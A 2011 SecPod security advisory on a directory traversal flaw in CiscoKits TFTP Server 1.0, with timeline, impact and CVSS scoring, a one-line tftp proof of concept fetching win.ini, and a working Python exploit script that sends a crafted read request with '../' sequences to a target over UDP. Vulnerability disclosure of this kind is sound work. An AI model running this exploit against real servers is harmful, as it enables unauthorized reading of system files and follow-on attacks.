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CiscoKits TFTP Server Directory Traversal Vulnerability

SecPod Technologies (www.secpod.com)
Author: Antu Sanadi
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SecPod ID: 1022          21/07/2011 Issue Discovered
            03/08/2011 Vendor Notified
            Vendor Replied to Disclose
            04/08/2011 Advisory Released


Class: Information Disclosure                   Severity: Medium


Overview:
---------
Ciscokits TFTP Server Version 1.0 is prone to a Directory Traversal
vulnerability.


Technical Description:
----------------------
The vulnerability is caused due to improper validation to Read Request
containing '../' sequences, which allows attackers to read arbitrary files
via directory traversal attacks.


Impact:
--------
Successful exploitation could allow an attacker to obtain sensitive
information, which may lead to launching further attacks.


Affected Software:
------------------
Ciscokits TFTP Server Version 1.0


Tested on:
-----------
Ciscokits TFTP Server Version 1.0 on Windows XP SP3.


References:
-----------
http://secpod.org/blog/?p=301
http://www.certificationkits.com
http://secpod.org/SECPOD_CiscoKits_TFTP_Server_Dir_Trav_POC.py
http://secpod.org/advisories/SECPOD_CiscoKits_TFTP_Server_Dir_Trav.txt


Proof of Concept:
----------------
tftp> get ../../../../../../../../../../../windows/win.ini


Solution:
----------
Not available


Risk Factor:
-------------
    CVSS Score Report:
        ACCESS_VECTOR          = NETWORK
        ACCESS_COMPLEXITY      = LOW
        AUTHENTICATION         = NOT_REQUIRED
        CONFIDENTIALITY_IMPACT = PARTIAL
        INTEGRITY_IMPACT       = NONE
        AVAILABILITY_IMPACT    = NONE
        EXPLOITABILITY         = PROOF_OF_CONCEPT
        REMEDIATION_LEVEL      = UNAVAILABLE
        REPORT_CONFIDENCE      = CONFIRMED
        CVSS Base Score        = 5.0 (AV:N/AC:L/Au:NR/C:P/I:N/A:N)
        CVSS Temporal Score    = 4.5
        Risk factor            = Medium


Credits:
--------
Antu Sanadi of SecPod Technologies has been credited with the discovery of
this vulnerability.


====================================================


#!/usr/bin/python
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# Title     : CiscoKits TFTP Server Directory Traversal Vulnerability
# Author    : Antu Sanadi from SecPod Technologies (www.secpod.com)
# Vendor    : http://www.certificationkits.com/cisco-ccna-tftp-server/
# Advisory  : http://secpod.org/blog/?p=301
#             http://secpod.org/SECPOD_CiscoKits_TFTP_Server_Dir_Trav_POC.py
#             http://secpod.org/advisories/SECPOD_CiscoKits_TFTP_Server_Dir_Trav.txt
# Version   : CiscoKits CCNA TFTP Server 1.0.0.0
# Date      : 21/07/2011
##############################################################################
import sys, socket

def sendPacket(HOST, PORT, data):
    '''
    Sends UDP Data to a Particular Host on a Specified Port
    with a Given Data and Return the Response
    '''
    udp_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    udp_sock.sendto(data, (HOST, PORT))
    data = udp_sock.recv(1024)
    udp_sock.close()
    return data

if __name__ == "__main__":

    if len(sys.argv) < 2:
        print "\tUsage: python exploit.py target_ip"
        print "\tExample : python exploit.py 127.0.0.1"
        print "\tExiting..."
        sys.exit(0)

    HOST = sys.argv[1]                               ## The Server IP
    PORT = 69                                        ## Default TFTP port

    data = "\x00\x01"                                ## TFTP Read Request
    data += "../" * 10 + "windows/win.ini" + "\x00"  ## Read win.ini file using directory traversal
    data += "netascii\x00"                           ## TFTP Type

    # netascii
    rec_data = sendPacket(HOST, PORT, data)
    print "Data Found on the target : %s " %(HOST)
    print rec_data.strip()